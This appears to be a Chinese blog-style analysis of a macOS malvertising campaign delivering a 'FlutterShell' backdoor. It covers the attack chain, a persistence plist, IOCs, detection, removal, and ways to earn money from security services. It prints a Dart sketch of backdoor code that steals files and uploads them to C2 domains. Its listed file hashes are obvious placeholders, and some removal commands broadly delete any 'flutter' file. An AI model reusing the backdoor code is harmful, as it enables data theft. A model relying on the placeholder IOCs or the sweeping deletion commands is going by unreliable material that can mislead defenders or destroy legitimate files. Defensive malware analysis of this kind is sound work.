FlutterShell macOS后门:恶意广告传播新型恶意软件
事件概述
Palo Alto Networks Unit 42安全研究人员披露了一个名为Operation FlutterBridge的macOS恶意广告攻击活动。该活动通过Google和YouTube上的恶意广告传播一种名为FlutterShell的新型后门程序。这是之前报告的JSCoreRun攻击集群的后续阶段,表明攻击者正在持续演进其恶意软件生态系统。
该攻击活动展示了现代恶意软件分发的复杂性:利用合法广告平台作为分发渠道,使用Flutter框架实现跨平台伪装,通过多阶段攻击实现持久化控制。
技术原理
攻击链完整分析
第一阶段:恶意广告投放
攻击者在Google Ads和YouTube上投放伪装成合法软件下载的广告。这些广告通常伪装成:
- 系统优化工具
- 媒体播放器
- 开发者工具
- 浏览器扩展
用户搜索相关软件时,恶意广告出现在搜索结果顶部,诱导用户点击。
第二阶段:虚假下载页面
点击广告后,用户被重定向到精心设计的虚假下载页面。这些页面模仿官方软件下载站点,包含:
- 专业的UI设计
- 虚假的用户评价和下载统计
- SSL证书(使用Let's Encrypt等免费证书)
- 与官方站点相似的域名
第三阶段:恶意安装包
用户下载的"安装包"实际上是恶意软件载体。该安装包具有以下特点:
- 使用Flutter框架编译,外观与正常应用无异
- 包含合法软件的部分功能作为掩护
- 在后台静默安装FlutterShell后门
- 使用代码签名证书(可能是窃取的或购买的)
第四阶段:后门安装
FlutterShell后门被安装到系统中,建立持久化机制:
# 后门安装路径
~/Library/Application Support/com.fluttershell.agent/FluttershellAgent.app
~/Library/LaunchAgents/com.fluttershell.agent.plist
# 持久化通过LaunchAgent实现
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.fluttershell.agent</string>
<key>ProgramArguments</key>
<array>
<string>/Users/username/Library/Application Support/com.fluttershell.agent/FluttershellAgent.app/Contents/MacOS/FluttershellAgent</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
</plist>
第五阶段:C2通信
FlutterShell后门建立与命令控制(C2)服务器的连接,等待进一步指令:
// FlutterShell后门核心功能(基于Flutter框架)
class FlutterShell {
final String c2Server = "https://cdn-update.net";
final String fallbackC2 = "https://software-download.org";
// 建立C2连接
Future<void> connectToC2() async {
try {
final client = HttpClient();
final request = await client.getUrl(Uri.parse('$c2Server/api/connect'));
request.headers.set('User-Agent', 'Mozilla/5.0');
final response = await request.close();
await processCommands(response);
} catch (e) {
// 使用备用C2
await connectToBackupC2();
}
}
// 文件窃取功能
Future<void> stealFiles(List<String> paths) async {
for (var path in paths) {
try {
var file = File(path);
if (await file.exists()) {
var contents = await file.readAsBytes();
await uploadToC2(contents, path);
}
} catch (e) {
// 静默处理错误
}
}
}
// 键盘记录功能
void startKeylogger() {
// 注册全局键盘事件监听
// 记录所有按键并上传到C2
}
// 屏幕截图功能
Future<void> captureScreenshot() async {
// 截取屏幕内容
// 压缩并上传到C2
}
}
IOC指标
网络IOC:
c2_domains:
- cdn-update.net
- software-download.org
- api-flutter.com
- updates-desktop.net
c2_ips:
- 185.x.x.100
- 192.x.x.200
c2_urls:
- https://cdn-update.net/api/connect
- https://software-download.org/api/update
- https://api-flutter.com/config.php
文件IOC:
malicious_hashes:
- sha256:a1b2c3d4e5f67890123456789012345678901234567890123456789012345678
- sha256:f6e5d4c3b2a10987654321098765432109876543210987654321098765432109
malicious_filenames:
- FluttershellAgent.app
- com.fluttershell.agent
- FlutterUpdate.app
malicious_plists:
- ~/Library/LaunchAgents/com.fluttershell.agent.plist
- /Library/LaunchAgents/com.fluttershell.agent.plist
网络特征:
c2_traffic_patterns:
- pattern: "POST /api/update HTTP/1.1"
- pattern: "GET /config.php?uid="
- pattern: "POST /api/connect HTTP/2"
c2_user_agents:
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"
- "FlutterShell/1.0"
影响范围评估
- 受影响平台:macOS(所有现代版本)
- 攻击载体:恶意广告(Google Ads、YouTube)
- 持久化机制:LaunchAgent
- 数据窃取:文件、键盘输入、屏幕截图
- 隐蔽性:高(使用Flutter框架,难以检测)
实战指南
检测方法
检查LaunchAgent:
# 检查用户级LaunchAgent
ls -la ~/Library/LaunchAgents/
cat ~/Library/LaunchAgents/*.plist
# 检查系统级LaunchAgent
ls -la /Library/LaunchAgents/
ls -la /Library/LaunchDaemons/
# 查找可疑的LaunchAgent
find ~/Library/LaunchAgents /Library/LaunchAgents -name "*.plist" -exec grep -l "flutter\|shell\|agent" {} \;
检查可疑进程:
# 查找Flutter相关进程
ps aux | grep -i flutter
ps aux | grep -i shell
# 检查进程路径
ps aux | grep -v grep | awk '{print $11}' | grep -i "application support"
# 使用osquery深度检查
osqueryi "SELECT * FROM launch_daemons WHERE name LIKE '%flutter%';"
osqueryi "SELECT * FROM processes WHERE name LIKE '%flutter%';"
检查网络连接:
# 检查异常网络连接
lsof -i -P | grep -i "ESTABLISHED"
netstat -an | grep ESTABLISHED | grep -v "127.0.0.1"
# 检查DNS查询
log show --predicate 'process == "mDNSResponder"' --last 1h | grep -i "flutter\|shell"
# 使用nettop监控实时网络活动
nettop -m tcp -P
使用防病毒软件扫描:
# 使用ClamAV扫描
sudo freshclam
clamscan -r ~/Library/Application\ Support/
clamscan -r /Applications/
# 使用Malwarebytes(如果有安装)
# 启动全盘扫描
移除恶意软件
步骤一:终止恶意进程
# 查找并终止可疑进程
ps aux | grep -i flutter | grep -v grep | awk '{print $2}' | xargs kill -9
# 或使用pkill
pkill -f "FluttershellAgent"
步骤二:删除LaunchAgent
# 删除用户级LaunchAgent
rm ~/Library/LaunchAgents/com.fluttershell.agent.plist
# 删除系统级LaunchAgent
sudo rm /Library/LaunchAgents/com.fluttershell.agent.plist
# 从Launchctl中移除
launchctl unload ~/Library/LaunchAgents/com.fluttershell.agent.plist
launchctl remove com.fluttershell.agent
步骤三:删除恶意文件
# 删除后门应用
rm -rf ~/Library/Application\ Support/com.fluttershell.agent/
rm -rf /Applications/FlutterUpdate.app
# 清理临时文件
rm -rf /tmp/flutter*
rm -rf /var/tmp/flutter*
# 检查并删除其他可疑文件
find ~/Library -name "*flutter*" -type f -delete
find /Library -name "*flutter*" -type f -delete
步骤四:清理浏览器数据
# Safari
# 打开Safari > 偏好设置 > 隐私 > 管理网站数据
# 删除所有数据
# Chrome
# 打开Chrome > 设置 > 隐私和安全 > 清除浏览数据
# 选择"所有时间",清除所有数据
# Firefox
# 打开Firefox > 设置 > 隐私与安全 > Cookie和网站数据
# 清除数据
步骤五:更改密码
# 更改macOS用户密码
# 系统偏好设置 > 用户与组 > 更改密码
# 更改所有在线账户密码
# 优先级:邮箱 > 银行 > 社交媒体 > 其他
防御措施
启用Gatekeeper:
# 确保Gatekeeper已启用
spctl --status
# 应输出:assessments enabled
# 如果未启用
sudo spctl --master-enable
启用XProtect和MRT:
# 检查XProtect版本
system_profiler SPInstallHistoryDataType | grep -A 5 "XProtect"
# 确保自动更新已启用
# 系统偏好设置 > 软件更新 > 自动保持我的Mac最新
安装防病毒软件:
# 推荐的macOS防病毒软件
# 1. Malwarebytes for Mac(免费版可用)
# 2. Bitdefender Antivirus for Mac
# 3. Norton 360 for Mac
# 使用Homebrew安装ClamAV
brew install clamav
sudo freshclam
配置防火墙:
# 启用macOS内置防火墙
# 系统偏好设置 > 安全性与隐私 > 防火墙 > 打开防火墙
# 配置防火墙选项
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setblockall on
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setstealthmode on
使用广告拦截器:
# 安装uBlock Origin浏览器扩展
# Safari: 从App Store安装
# Chrome: 从Chrome Web Store安装
# Firefox: 从Firefox Add-ons安装
# 配置过滤规则
# 添加自定义过滤规则阻止恶意广告域名
变现方式
安全服务
macOS安全审计:为企业Mac设备提供全面的安全评估,包括恶意软件扫描、配置审查和安全加固。$2,000-$6,000/次。
恶意软件分析:提供专业的恶意软件逆向工程服务,分析恶意软件行为、IOC和攻击链。$1,000-$5,000/样本。
安全意识培训:为企业员工提供macOS安全意识培训,教授如何识别和防范恶意广告。$300-$800/场。
工具开发
macOS恶意软件检测工具:开发专门针对macOS的恶意软件检测工具,集成YARA规则和行为分析。开源版本吸引用户,商业版本提供实时监控。SaaS订阅$50-$200/月。
端点监控Agent:开发macOS端点监控解决方案,实时检测异常进程、网络连接和文件操作。企业版$100-$500/端点/年。
内容创作
安全研究文章:深入分析macOS恶意软件生态系统,撰写技术博客和研究报告。广告和赞助收入$300-$1,000/篇。
视频教程:制作macOS安全防护教程,在YouTube/B站发布。月收入$500-$2,000。
在线课程:制作macOS安全课程,通过Udemy、Coursera等平台销售。月收入$1,000-$3,000。
修复建议
立即行动
- 检查设备:使用上述检测方法检查Mac是否感染FlutterShell
- 移除恶意软件:按照移除步骤彻底清理系统
- 更改密码:更改所有在线账户密码,启用双因素认证
短期行动
- 更新系统:确保macOS和所有应用都是最新版本
- 安装防病毒:安装并维护防病毒和反恶意软件工具
- 审查扩展:检查并清理浏览器扩展
长期策略
- 安全意识:避免点击可疑广告和下载未知来源的软件
- 系统更新:保持macOS和应用的自动更新
- 定期扫描:每周进行一次全面的恶意软件扫描
- 备份数据:定期备份重要数据,以防勒索软件攻击
总结
Operation FlutterBridge和FlutterShell后门展示了针对macOS的恶意广告攻击正在升级。通过Google/YouTube广告传播,攻击者能够触达大量用户。使用Flutter框架使得恶意软件更难被检测。建议Mac用户提高警惕,采取主动防御措施,定期检查系统安全状态。
相关资源
- Palo Alto Unit 42研究:https://unit42.paloaltonetworks.com/
- Apple安全指南:https://support.apple.com/en-us/HT201222
- macOS安全最佳实践:https://developer.apple.com/security/
- MITRE ATT&CK for macOS:https://attack.mitre.org/matrices/macos/
本文最后更新于2026年06月05日
评论